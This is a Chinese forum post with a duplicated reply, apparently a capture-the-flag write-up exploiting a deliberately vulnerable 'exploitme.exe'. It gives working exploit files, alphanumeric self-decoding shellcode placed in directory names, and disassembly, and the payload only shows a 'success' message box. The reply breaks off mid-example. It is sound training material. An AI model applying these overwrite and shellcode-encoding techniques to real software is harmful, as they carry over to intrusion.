首页
社区
课程
招聘
[原创]第一轮第一题
2010-10-19 23:52 4029

[原创]第一轮第一题

2010-10-19 23:52
4029
注意用了多种解法,有些解法对执行exploitme.exe有要求.

1.分析题目,找准切入点:
  从题目可知是要求我们写一个弹出对话框的SHELLCODE.同时
得分的标准简单说就是看谁的exploit.dat中的SHELLCODE非零字符最少.
2.分析EXPLOITME.EXE:
  简单分析可知程序是个标准的VC程序,程序主要流层为:先判断exploit.DAT
的文件大小,大于200H退出,如小于200H则读文件同时得到文件的实际大小如果大于
84H则不走到出错流层同时弹出fail的对话框.另:程序中还包括动态得到MessageBoxA和
MessageBoxW的函数地址,同时保存在全局变量中.
  由于程序是VC程序,所以在程序初始化时还会执行一些代码以得到程序环境变量等
(比如当前路径和程序名)
3.出错代码简单分析:
  简单说就是EXPLOIT.DAT中的数据覆盖了保存在栈中的一个函数地址,在接下来的代码
会有一个call [edx],这时EDX已经能够变成我们的任意数据.同时经过这一步的分析可
知对EXPLOIT.DAT中的数据格式没有任何要求,没有经过任何编码转换.具体出错代码如下:
mov     ecx, ebx
mov     esi, ebp
mov     edx, ecx
lea     edi, [esp+328h+var_280]
shr     ecx, 2
rep movsd
mov     ecx, edx
and     ecx, 3
rep movsb
mov     eax, [esp+328h+var_308]
lea     ecx, [esp+328h+var_308]
call    dword ptr [eax]
mov     edx, [esp+328h+var_284]  ;这时取的EDX值已经可控
lea     ecx, [esp+328h+var_284]
call    dword ptr [edx]          ;这儿跳到SHELLCODE
mov     edi, [esp+328h+hHeap]
mov     esi, [esp+328h+hObject]
mov     [esp+328h+var_318], 1

4.分析漏洞
  通过简单调试可知在exploit.dat的80H到83H处的四个字节刚好可以控制
EDX.这儿就是通常所说的跳转地址位置.
  由于跳转地址的作用主要是直接或是间接的指向SHELLCODE,具体值的选则
和解题思路与shellcode的存放位置有关.

5.解题思路:
通过分析程序和漏洞得到三个大的思路:
思路1:
出题者可能在该EXE的某个地方留有特殊代码,这样就可能存在用1个或是2字节
覆盖EDX后,就可以跳到特殊代码,然后完成相关功能.这样的话EXPLOIT.DAT中的
非0字节可以做得非常少.
但对EXE认真分析后,我没有发现相关代码,水平有限所以该思路我无解.

思路2:
认真分析该题的要求,只说了不能修改exploitme.exe程序本身,但并没有说不能
修改该程序的文件名,或是让该程序带特殊参数,或是让该程序在指定的位置运行
又或者是对OS的环境变量进行设置等等.

利用上述思路,我最终完成多个EXP,最巧妙的可以做到非0字节紧有2字节.
(如果出题者不认同该思路那么请看思路3)

思路3:
该思路相对比较保守也就是在程序执行的时候,所有SHELLCODE和字串等全部放在
exploit.dat中.

思路2和思路3的比较:
如果思路2能得到认同那么无凝是exploit.dat中非0字节最少的,因为exploit success
这个字串和指令都可以放在exploit.dat之外.(当然有些人可能是有部分字串放在exploit.dat
之外一部分代码在exploit.dat中,我认为这其实也是思路2)
思路2的关键:关键点我认为是要找到一个我们可控的字串,该字串在EXPLOITME.EXE中存在且
字串我们可控或部分可控,同时该字串的址址在EXPLOITME.EXE中有保存.

思路3其实非常简单主要是两步一步是构造跳转另一步是构造SHELLCODE,经过我的计算如果是
利用了栈地址,该思路exploit.dat中的非0字节应该是26-33字节之间.

6.思路2的EXP说明
  首先我通过分析EXE文件发现在0040855c(这儿是EXE的全局变量区)处保存了一个值,这个值
通常是00408574.而00408574处的值刚好是EXE运行的时候路径和文件名比如c:\masm32\bin\exploitme.exe,字串是ansi形式.

那么我们把exploit.dat设为如下:

00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85                                           ; \

等于说是栈中的EDX的值我们只覆盖内存的低字节,本来EDX是0040XXXX
现在就变成了0040855c
那么call [edx]就等于call [0040855c]也就等于call 00408574
而00408574的值为我们的路径C:\.............,换成代码也就是
:u 00408574 l 30
001B:00408574  43                  INC       EBX          ;C
001B:00408575  3A5C6161            CMP       BL,[ECX+61]  ;:\aa
001B:00408579  884257              MOV       [EDX+57],AL
001B:0040857C  88424D              MOV       [EDX+4D],AL
001B:0040857F  83C24E              ADD       EDX,4E
001B:00408582  50                  PUSH      EAX
001B:00408583  52                  PUSH      EDX
001B:00408584  83EA41              SUB       EDX,41
001B:00408587  83C231              ADD       EDX,31
001B:0040858A  52                  PUSH      EDX
001B:0040858B  50                  PUSH      EAX
001B:0040858C  83EA43              SUB       EDX,43
001B:0040858F  83EA43              SUB       EDX,43
001B:00408592  52                  PUSH      EDX
001B:00408593  58                  POP       EAX
001B:00408594  FF30                PUSH      DWORD PTR [EAX]
001B:00408596  58                  POP       EAX
001B:00408597  FFD0                CALL      EAX
001B:00408599  C3                  RET

该EXP的优点:关键的跳转地址利用的是EXE的变局变量中的,由于该EXE不会变化且该EXE也很简单
我在XP SP2/SP3/VISTA下均测试通过,通用性非常好(没考虑DEP),且该程序不支持ASLR.

下面来说具体的SHELLCODE:
由于我怕有人找到和我同样的思路,然后出题者会考虑在这个大思路下再比较每人具体的SHELLCODE
大小而非exploit.dat中的非0字节数所以我写了四个利用这个思路但又不同的EXP,下面我一一介绍:
EXP1:
exploit.dat中非0字节仅为两字节,SHELLCODE和Exploit success的字串全放在目录中,且目录名
经过编码全为全字母数字.
目录名如下:
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImSktbpazd3PhE5Wpt3c00hsSuP1s5Pqx0suPqeuPe8bTUPupS0u8BOS0Qyc0CX40wpPlWpQxCu5PpxS0LKyLLCzL6LrJuPsXRLQpcpUPScRJwpE8ZnVqQPUPJcWpA

只要在C盘根目录下建立如上述的目录然后把exploit.dat和EXE放在该目录中,双击就可弹出正确的对话框,该目录的长度为167字节(没包括C:\)

补充:出题者可能会问如果我的目录的开头不是C盘或是盘符是c(小写)你的SHELLCODE就会出错,这其实
是可以解决的只是就要专门分析了所以该题中的目录一律都是在C盘根目录下:),至于小写的c是不得出
现这种情况的.
另外在EXP1中使用的是MessageBoxW,Exploit success的字串的构造我是用的PUSH XX00XX00的形式
同时EXP1处理了ESP让程序可以正常退出,如果不能正常退出程序还可以再小些.
该EXP的SHELLCODE如下:
00000000h: 83 C4 50 6A 73 68 65 00 73 00 68 63 00 63 00 68 ; 兡Pjshe.s.hc.c.h
00000010h: 73 00 75 00 68 74 00 20 00 68 6F 00 69 00 68 70 ; s.u.ht. .ho.i.hp
00000020h: 00 6C 00 68 45 00 78 00 8B DC 83 EC 2C 6A 00 68 ; .l.hE.x.嬡冹,j.h
00000030h: 6C 60 40 00 53 6A 00 68 CE 11 40 00 C3          ; l`@.Sj.h?@.

注意是以上代码我手工构造的,呵呵所以没源代码,解码的SC也是手工构造的,如下
:u 00408574 l 30
001B:00408574  43                  INC       EBX
001B:00408575  3A5C6161            CMP       BL,[ECX+61]   ;nop like代码,跳过:\
001B:00408579  42                  INC       EDX
001B:0040857A  37                  AAA                       ;nop like,为了地址对齐
001B:0040857B  37                  AAA
001B:0040857C  37                  AAA
001B:0040857D  37                  AAA
001B:0040857E  37                  AAA
001B:0040857F  37                  AAA
001B:00408580  52                  PUSH      EDX             ;EDX指向SC周围
001B:00408581  59                  POP       ECX
001B:00408582  6A41                PUSH      41
001B:00408584  58                  POP       EAX
001B:00408585  50                  PUSH      EAX
001B:00408586  304130              XOR       [ECX+30],AL     ;代码开始自修补
001B:00408589  41                  INC       ECX
001B:0040858A  6B414151            IMUL      EAX,[ECX+41],51
001B:0040858E  324142              XOR       AL,[ECX+42]
001B:00408591  324242              XOR       AL,[EDX+42]
001B:00408594  304242              XOR       [EDX+42],AL
001B:00408597  41                  INC       ECX
001B:00408598  42                  INC       EDX
001B:00408599  58                  POP       EAX
001B:0040859A  50                  PUSH      EAX
001B:0040859B  384142              CMP       [ECX+42],AL
001B:0040859E  754A                JNZ      004085EA      

最后一行由于是自修补,所以这儿是不准确的.
解码出来后的SC如下:
:u 004085a0 l 40
001B:004085A0  83C450              ADD       ESP,50
001B:004085A3  6A73                PUSH      73
001B:004085A5  6865007300          PUSH      00730065
001B:004085AA  6863006300          PUSH      00630063
001B:004085AF  6873007500          PUSH      00750073
001B:004085B4  6874002000          PUSH      00200074
001B:004085B9  686F006900          PUSH      0069006F
001B:004085BE  6870006C00          PUSH      006C0070
001B:004085C3  6845007800          PUSH      00780045
001B:004085C8  8BDC                MOV       EBX,ESP   ;EBX指向Exploit success
001B:004085CA  83EC2C              SUB       ESP,2C
001B:004085CD  6A00                PUSH      00
001B:004085CF  686C604000          PUSH      0040606C ; "ExploitMe" ;标题用了全局变量中的
001B:004085D4  53                  PUSH      EBX
001B:004085D5  6A00                PUSH      00
001B:004085D7  68CE114000          PUSH      004011CE    ;API的地址是硬编码,但肯定通用
001B:004085DC  C3                  RET

EXP2:
EXP2则是使用了MessageBoxA,并且把Exploit success弄在了目录名里,解码SC和上面的类似不给出了
目录名如下:
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI4sKpNhcqSbMXQQsl2pOsKqf3PQNcm9R03a2pyo5EuDmUspuPV8ISuPAExploit success

长度112字节

解码后的SC为:
:u 004085a0 l 30
001B:004085A0  33C0                XOR       EAX,EAX
001B:004085A2  884152              MOV       [ECX+52],AL  
;主要是把路径中的Exploit success\,中的\改为0x00
001B:004085A5  88415C              MOV       [ECX+5C],AL
;主要是把路径中的ExploitMe.exe,中的.改为0x00
001B:004085A8  50                  PUSH      EAX
001B:004085A9  83C153              ADD       ECX,53
001B:004085AC  51                  PUSH      ECX
001B:004085AD  83E910              SUB       ECX,10
001B:004085B0  51                  PUSH      ECX
001B:004085B1  50                  PUSH      EAX
001B:004085B2  FF1514854000        CALL      [USER32!MessageBoxA]
001B:004085B8  58                  POP       EAX
001B:004085B9  C3                  RET

这个SC比较重要的地方是,找到了00408514这个全局变量中有包存MESSAGEBOXA的地址.所以
SC小了不少.

EXP3:
该EXP是以上几种中最短的,目录名只有50个字节,但是目录名中使用了汉字和0xff,也就是
全是这样就不要解码的SC了,所以非常短.坏处就是在非中文下可能不行

aa圔W圔M兟NPR冴A兟1RP冴C冴CRX0X忻Exploit success

对,你没看错上面就是目录名.16进制如下:
00000000h: 61 61 88 42 57 88 42 4D 83 C2 4E 50 52 83 EA 41 ; aa圔W圔M兟NPR冴A
00000010h: 83 C2 31 52 50 83 EA 43 83 EA 43 52 58 FF 30 58 ; 兟1RP冴C冴CRX0X
00000020h: FF D0 C3 45 78 70 6C 6F 69 74 20 73 75 63 63 65 ; 忻Exploit succe
00000030h: 73 73                                           ; ss

每一个字节都不是多余的.转成ASM如下(注:全是手工16进制打出来的没真正的源代码)
:u 00408574 l 30
001B:00408574  43                  INC       EBX
001B:00408575  3A5C6161            CMP       BL,[ECX+61]
001B:00408579  884257              MOV       [EDX+57],AL
001B:0040857C  88424D              MOV       [EDX+4D],AL
001B:0040857F  83C24E              ADD       EDX,4E
001B:00408582  50                  PUSH      EAX
001B:00408583  52                  PUSH      EDX
001B:00408584  83EA41              SUB       EDX,41
001B:00408587  83C231              ADD       EDX,31
001B:0040858A  52                  PUSH      EDX
001B:0040858B  50                  PUSH      EAX
001B:0040858C  83EA43              SUB       EDX,43
001B:0040858F  83EA43              SUB       EDX,43   ;EDX指向MSGBOXA地址的保存位置
001B:00408592  52                  PUSH      EDX
001B:00408593  58                  POP       EAX
001B:00408594  FF30                PUSH      DWORD PTR [EAX]
001B:00408596  58                  POP       EAX
001B:00408597  FFD0                CALL      EAX
001B:00408599  C3                  RET

详细代码说明就不多说了,也是用了MessageBoxA,而存放该API的地址我也是用EDX来定位的
因为EDX一般是0040855c,而这个API地址是放在00408514,所以EDX减两次就能指到这儿

EXP4:
该EXP4,其实是用了一部分指令在目录名中,一部分在EXPLOIT.DAT中,而exploit success又要
命令参数中,多种方法相结合.EXPLOIT.DAT的大小为10字节
EXPLOIT.DAT中值为:
00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 CE 11 40 00 00 00 00 00 ; ........?@.....
                                  ;这儿是API
00000020h: 00 0B 02 00 6C 60 40 00 00 00 00 00 00 00 00 00 ; ....l`@.........
           ;这儿是环境块中的命令行参数,后面的是全局变量中的ExploitMe串
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85                                           ; \

目录名我们弄成:
C:\aaaa面aaaaaaaaaaaaaaaaaaaaaaaa1234

执行程序的时候我们这样执行

C:\aaaa面aaaaaaaaaaaaaaaaaaaaaaaa1234>exploitme Exploit success

分析:
5C85是什么意思,前面已经说了不多说.
目录名为c:\aaaa面...................
反汇编出来就是
001B:00408574  43                  INC       EBX
001B:00408575  3A5C6161            CMP       BL,[ECX+61]
               61                  POPAD
               61                  POPAD
               C3                  RET
               XXXXX

也就是说c:\后面的aa是NOP LIKE指令,同时cmp bl,[ecx+61],因为ECX总是在0012XXXX或是0013XXXX
反正是栈里,所以这儿是不会出错的.
关键是后面的aa面也就是popad,popad,ret指令
这儿是用来定位SHELLCODE的.

然后EXPLOIT.DAT中的00020B00有必要说一下:因为这儿有两个00,主要是我在目录名后面补了一长串
aaaaaaa....,这样肯定是可以让指向环境变量中的Exploit success的地址中有两个00的.

当然EXP4,有一个不稳定的地方也就是00020b00的使用,因为这儿是用了不稳定的硬编码所以有些机器
上不行.

7.思路3的EXP5说明:
前面已经分析过思路3了,总之思路3就必须是所以东东都在exploit.dat中我的如下:

00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 CE 11 40 00 00 00 00 00 ; ........?@.....
00000020h: A4 FC 13 00 6C 60 40 00 00 00 00 00 45 00 78 00 ; ..l`@.....E.x.
00000030h: 70 00 6C 00 6F 00 69 00 74 00 20 00 73 00 75 00 ; p.l.o.i.t. .s.u.
00000040h: 63 00 63 00 65 00 73 00 73 00 00 00 00 00 00 00 ; c.c.e.s.s.......
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 61 61 C3 00 ; ............aa?
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 E4 FC 13 00 ; ............潼..
00000080h: F4 FC 13 00                                     ; 酎..

个人认为这种思路没啥好分析的,分值也不会差好大(26-33字节).至于通用性由于
有三处用了0013xxxx,而有些机器上这儿总是0012xxxx,所以通用性不会太好.

最后总结:
关于通用性,我想如果是用栈中的硬编码地址比如0012XXXX或是0013XXXX都不会太好,但
是象004011CE或是0040606C,因为这个程序比较简单应该是非常通用的,如果是实际应用
用0040XXXX的地址应该说是分EXE版本.

另外我的思路3,目前是33字节还可以再少吗,我想可以少的地方只能是在6CH,7CH,80H这三
个地方也就是跳转地构造和SC的定位的巧妙上.
所以用思路3的非0字节长度应该这样来算:
15字节的字串+3字节API+6字节字串地址=24
然后最起码要2个字节的跳转,所以思路3最少是26字节!
少于26字节的可以肯定是用了思路2或是1.
另外通用性上只要是用思路3,你字串(Exploit success)的定位一般来说是0013XXXX来定位,所以都谈不上通不通用了.

真正有通用的办法吗:
除开思路2,其实是有的,至少相对来说,我的分析如下:
首先在内存中找到能定位到栈中EXPLOIT.DAT数据的指令,比如我用的总是POPAD,POPAD,RET
假设这个指令为6161c3,那么在内存中搜到后,比如为KERNEL32.DLL的代码节,我们设为77112233
然后再在内存中可读的区域找77112233,找到后假设这个地址为78112233那么80H处我们就可以
设为78112233那么在CALL [EDX]就是call [78112233]也就是call 77112233,那么就直接跳到
POPAD,POPAD,RET了,RET后就定位到SC了.
然后在SC中用我前面用的push 00xx00xx的方法来构造Exploit success,这样引用的时候就非常的通用!!不过这种方法也有个问题虽然题目录中说了是XP SP3但还是有补丁的问题.

关于分数:
我一共做了6个版本,望改题者多多考虑,因为我是看到评分标准中明确说了:
题目可能存在多种不同解法,答出多种解法者,根据答案优劣,酌情加分
还有
如题目挑战失败,但提供了解题思路及分析过程,也可酌情得分

我要得100分!

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 411
活跃值: (247)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
blackwhite 1 2010-10-20 00:19
2
0
1.分析题目,找准切入点:
  从题目可知是要求我们写一个弹出对话框的SHELLCODE.同时
得分最多的标准简单说就是看谁的exploit.dat中的SHELLCODE非零字符最少.

2.分析EXPLOITME.EXE:
  简单分析可知程序是个标准的VC程序,程序主要流层为:先判断exploit.DAT
的文件大小,大于200H退出,如小于200H则读文件同时得到文件的实际大小:如果大于
84H则不走到出错流层同时弹出fail的对话框.
另:程序中还包括动态得到MessageBoxA和MessageBoxW的函数地址,同时保存在全局变量中.
  由于程序是VC程序,所以在程序初始化时还会执行一些代码以得到程序环境变量等
(比如当前路径和程序名)

3.出错代码简单分析:
  简单说就是EXPLOIT.DAT中的数据覆盖了保存在栈中的一个函数地址,在接下来的代码
会有一个call [edx],这时EDX已经能够变成我们的任意数据.同时经过这一步的分析可
知对EXPLOIT.DAT中的数据格式没有任何要求,没有经过任何编码转换.具体出错代码如下:
mov     ecx, ebx
mov     esi, ebp
mov     edx, ecx
lea     edi, [esp+328h+var_280]
shr     ecx, 2
rep movsd
mov     ecx, edx
and     ecx, 3
rep movsb
mov     eax, [esp+328h+var_308]
lea     ecx, [esp+328h+var_308]
call    dword ptr [eax]
mov     edx, [esp+328h+var_284]  ;这时取的EDX值已经可控
lea     ecx, [esp+328h+var_284]
call    dword ptr [edx]          ;这儿跳到SHELLCODE
mov     edi, [esp+328h+hHeap]
mov     esi, [esp+328h+hObject]
mov     [esp+328h+var_318], 1

4.分析漏洞
  通过简单调试可知在exploit.dat的80H到83H处的四个字节刚好可以控制
EDX.这儿就是通常所说的跳转地址位置.
  由于跳转地址的作用主要是直接或是间接的指向SHELLCODE,具体值的选则
和解题思路与shellcode的存放位置有关.

5.解题思路:
通过分析程序和漏洞得到三个大的思路:

思路1:
出题者可能在该EXE的某个地方留有特殊代码,这样就可能存在用1个或是2字节
覆盖EDX后,就可以跳到特殊代码,然后完成相关功能.这样的话EXPLOIT.DAT中的
非0字节可以做得非常少.
但对EXE认真分析后,我没有发现相关代码,水平有限所以该思路我无解.

思路2:
认真分析该题的要求,只说了不能修改exploitme.exe程序本身,但并没有说不能
修改该程序的文件名,或是让该程序带特殊参数,或是让该程序在指定的位置运行
又或者是对OS的环境变量进行设置等等.

利用上述思路,我最终完成多个EXP,最巧妙的可以做到非0字节紧有2字节.
(如果出题者不认同该思路那么请看思路3)

思路3:
该思路相对比较保守也就是在程序执行的时候,所有SHELLCODE和字串等全部放在
exploit.dat中.

思路2和思路3的比较:
如果思路2能得到认同那么无凝是exploit.dat中非0字节最少的,因为exploit success
这个字串和指令都可以放在exploit.dat之外.(当然有些人可能是有部分字串放在exploit.dat
之外一部分代码在exploit.dat中,我认为这其实也是思路2)
思路2的关键:关键点我认为是要找到一个我们可控的字串,该字串在EXPLOITME.EXE中存在且
字串我们可控或部分可控,同时该字串的址址在EXPLOITME.EXE中有保存.

思路3其实非常简单主要是两步:
一步是构造跳转,另一步是构造SHELLCODE,经过我的计算如果是利用了栈地址,该思路exploit.dat中的非0字节应该是26-33字节之间.

6.构造EXP
  思路2的EXP说明:
  首先我通过分析EXE文件发现在0040855c(这儿是EXE的全局变量区)处保存了一个值,这个值
通常是00408574.而00408574处的值刚好是EXE运行的时候路径和文件名比如c:\masm32\bin\exploitme.exe,字串是ansi形式.

那么我们把exploit.dat设为如下:

00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000010h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000060h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 5C 85                                           ; \

等于说是栈中的EDX的值我们只覆盖内存的低字节,本来EDX是0040XXXX
现在就变成了0040855c
那么call [edx]就等于call [0040855c]也就等于call 00408574
而00408574的值为我们的路径C:\.............,转换成代码也就是
:u 00408574 l 30
001B:00408574  43                  INC       EBX          ;C
001B:00408575  3A5C6161            CMP       BL,[ECX+61]  ;:\aa
001B:00408579  884257              MOV       [EDX+57],AL
001B:0040857C  88424D              MOV       [EDX+4D],AL
001B:0040857F  83C24E              ADD       EDX,4E
001B:00408582  50                  PUSH      EAX
001B:00408583  52                  PUSH      EDX
001B:00408584  83EA41              SUB       EDX,41
001B:00408587  83C231              ADD       EDX,31
001B:0040858A  52                  PUSH      EDX
001B:0040858B  50                  PUSH      EAX
001B:0040858C  83EA43              SUB       EDX,43
001B:0040858F  83EA43              SUB       EDX,43
001B:00408592  52                  PUSH      EDX
001B:00408593  58                  POP       EAX
001B:00408594  FF30                PUSH      DWORD PTR [EAX]
001B:00408596  58                  POP       EAX
001B:00408597  FFD0                CALL      EAX
001B:00408599  C3                  RET

该EXP的优点:关键的跳转地址利用的是EXE的变局变量中的,由于该EXE不会变化且该EXE也很简单
我在XP SP2/SP3/VISTA下均测试通过,通用性非常好(没考虑DEP),且该程序不支持ASLR.

下面来说具体的SHELLCODE:
由于我怕有人找到和我同样的思路,然后出题者会考虑在这个大思路下再比较每人具体的SHELLCODE
大小而非exploit.dat中的非0字节数所以我写了四个利用这个思路但又不同的EXP,下面我一一介绍:
(以下分别用 EXP1、EXP2、EXP3、EXP4、EXP5 来分别说明)

EXP1:
exploit.dat中非0字节仅为两字节,SHELLCODE和Exploit success的字串全放在目录中,且目录名
经过编码为全字母数字.
目录名如下:
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJImSktbpazd3PhE5Wpt3c00hsSuP1s5Pqx0suPqeuPe8bTUPupS0u8BOS0Qyc0CX40wpPlWpQxCu5PpxS0LK

yLLCzL6LrJuPsXRLQpcpUPScRJwpE8ZnVqQPUPJcWpA
攻击方法:
只要在C盘根目录下建立如上述的目录,然后把exploit.dat和EXE放在该目录中,双击就可弹出正确的对话框,该目录的长度为167字节(没包括

C:\)

补充:出题者可能会问如果我的目录的开头不是C盘或是盘符是c(小写)你的SHELLCODE就会出错,这其实
是可以解决的,只是就要专门分析了,所以该题中的目录一律都是在C盘根目录下:),至于小写的c是不会出现这种情况的.

另外在EXP1中使用的是MessageBoxW,Exploit success的字串的构造我是用的PUSH XX00XX00的形式
同时EXP1处理了ESP让程序可以正常退出,如果不能正常退出程序还可以再小些.
该EXP的SHELLCODE如下:
00000000h: 83 C4 50 6A 73 68 65 00 73 00 68 63 00 63 00 68 ; 兡Pjshe.s.hc.c.h
00000010h: 73 00 75 00 68 74 00 20 00 68 6F 00 69 00 68 70 ; s.u.ht. .ho.i.hp
00000020h: 00 6C 00 68 45 00 78 00 8B DC 83 EC 2C 6A 00 68 ; .l.hE.x.嬡冹,j.h
00000030h: 6C 60 40 00 53 6A 00 68 CE 11 40 00 C3          ; l`@.Sj.h?@.

注意是以上代码我手工构造的,呵呵所以没源代码,解码的SC也是手工构造的,如下
:u 00408574 l 30
001B:00408574  43                  INC       EBX
001B:00408575  3A5C6161            CMP       BL,[ECX+61]   ;nop like代码,跳过:\
001B:00408579  42                  INC       EDX
001B:0040857A  37                  AAA                       ;nop like,为了地址对齐
001B:0040857B  37                  AAA
001B:0040857C  37                  AAA
001B:0040857D  37                  AAA
001B:0040857E  37                  AAA
001B:0040857F  37                  AAA
001B:00408580  52                  PUSH      EDX             ;EDX指向SC周围
001B:00408581  59                  POP       ECX
001B:00408582  6A41                PUSH      41
001B:00408584  58                  POP       EAX
001B:00408585  50                  PUSH      EAX
001B:00408586  304130              XOR       [ECX+30],AL     ;代码开始自修补
001B:00408589  41                  INC       ECX
001B:0040858A  6B414151            IMUL      EAX,[ECX+41],51
001B:0040858E  324142              XOR       AL,[ECX+42]
001B:00408591  324242              XOR       AL,[EDX+42]
001B:00408594  304242              XOR       [EDX+42],AL
001B:00408597  41                  INC       ECX
001B:00408598  42                  INC       EDX
001B:00408599  58                  POP       EAX
001B:0040859A  50                  PUSH      EAX
001B:0040859B  384142              CMP       [ECX+42],AL
001B:0040859E  754A                JNZ      004085EA      

最后一行由于是自修补,所以这儿是不准确的.
解码出来后的SC如下:
:u 004085a0 l 40
001B:004085A0  83C450              ADD       ESP,50
001B:004085A3  6A73                PUSH      73
001B:004085A5  6865007300          PUSH      00730065
001B:004085AA  6863006300          PUSH      00630063
001B:004085AF  6873007500          PUSH      00750073
001B:004085B4  6874002000          PUSH      00200074
001B:004085B9  686F006900          PUSH      0069006F
001B:004085BE  6870006C00          PUSH      006C0070
001B:004085C3  6845007800          PUSH      00780045
001B:004085C8  8BDC                MOV       EBX,ESP   ;EBX指向Exploit success
001B:004085CA  83EC2C              SUB       ESP,2C
001B:004085CD  6A00                PUSH      00
001B:004085CF  686C604000          PUSH      0040606C ; "ExploitMe" ;标题用了全局变量中的
001B:004085D4  53                  PUSH      EBX
001B:004085D5  6A00                PUSH      00
001B:004085D7  68CE114000          PUSH      004011CE    ;API的地址是硬编码,但肯定通用
001B:004085DC  C3                  RET

EXP2:
EXP2则是使用了MessageBoxA,并且把Exploit success弄在了目录名里,解码SC和上面的类似不给出了
目录名如下:
aaB777777RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI4sKpNhcqSbMXQQsl2pOsKqf3PQNcm9R03a2pyo5EuDmUspuPV8ISuPAExploit success

长度112字节

解码后的SC为:
:u 004085a0 l 30
001B:004085A0  33C0                XOR       EAX,EAX
001B:004085A2  884152              MOV       [ECX+52],AL  
;主要是把路径中的Exploit success\,中的\改为0x00
001B:004085A5  88415C              MOV       [ECX+5C],AL
;主要是把路径中的ExploitMe.exe,中的.改为0x00
001B:004085A8  50                  PUSH      EAX
001B:004085A9  83C153              ADD       ECX,53
001B:004085AC  51                  PUSH      ECX
001B:004085AD  83E910              SUB       ECX,10
001B:004085B0  51                  PUSH      ECX
001B:004085B1  50                  PUSH      EAX
001B:004085B2  FF1514854000        CALL      [USER32!MessageBoxA]
001B:004085B8  58                  POP       EAX
001B:004085B9  C3                  RET

这个SC比较重要的地方是,找到了00408514这个全局变量中有包存MESSAGEBOXA的地址.所以
SC小了不少.

EXP3:
该EXP是以上几种中最短的,目录名只有50个字节,但是目录名中使用了汉字和0xff,也就是
全是这样就不要解码的SC了,所以非常短.坏处就是在非中文下可能不行

aa圔W圔M兟NPR冴A兟1RP冴C冴CRX0X忻Exploit success

对,你没看错上面就是目录名.16进制如下:
00000000h: 61 61 88 42 57 88 42 4D 83 C2 4E 50 52 83 EA 41 ; aa圔W圔M兟NPR冴A
00000010h: 83 C2 31 52 50 83 EA 43 83 EA 43 52 58 FF 30 58 ; 兟1RP冴C冴CRX0X
00000020h: FF D0 C3 45 78 70 6C 6F 69 74 20 73 75 63 63 65 ; 忻Exploit succe
00000030h: 73 73                                           ; ss

每一个字节都不是多余的.转成ASM如下(注:全是手工16进制打出来的没真正的源代码)
:u 00408574 l 30
001B:00408574  43                  INC       EBX
001B:00408575  3A5C6161            CMP       BL,[ECX+61]
001B:00408579  884257              MOV       [EDX+57],AL
001B:0040857C  88424D              MOV       [EDX+4D],AL
001B:0040857F  83C24E              ADD       EDX,4E
001B:00408582  50                  PUSH      EAX
001B:00408583  52                  PUSH      EDX
001B:00408584  83EA41              SUB       EDX,41
001B:00408587  83C231              ADD       EDX,31
001B:0040858A  52                  PUSH      EDX
001B:0040858B  50                  PUSH      EAX
001B:0040858C  83EA43              SUB       EDX,43
001B:0040858F  83EA43              SUB       EDX,43   ;EDX指向MSGBOXA地址的保存位置
001B:00408592  52                  PUSH      EDX
001B:00408593  58                  POP       EAX
001B:00408594  FF30                PUSH      DWORD PTR [EAX]
001B:00408596  58                  POP       EAX
001B:00408597  FFD0                CALL      EAX
001B:00408599  C3                  RET

详细代码说明就不多说了,也是用了MessageBoxA,而存放该API的地址我也是用EDX来定位的
因为EDX一般是0040855c,而这个API地址是放在00408514,所以EDX减两次就能指到这儿

EXP4:
该EXP4,其实是用了一部分指令在目录名中,一部分在EXPLOIT.DAT中,而exploit success又要
命令参数中,多种方法相结合.EXPLOIT.DAT的大小为10字节
EXPLOIT.DAT中值为:
00000000h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
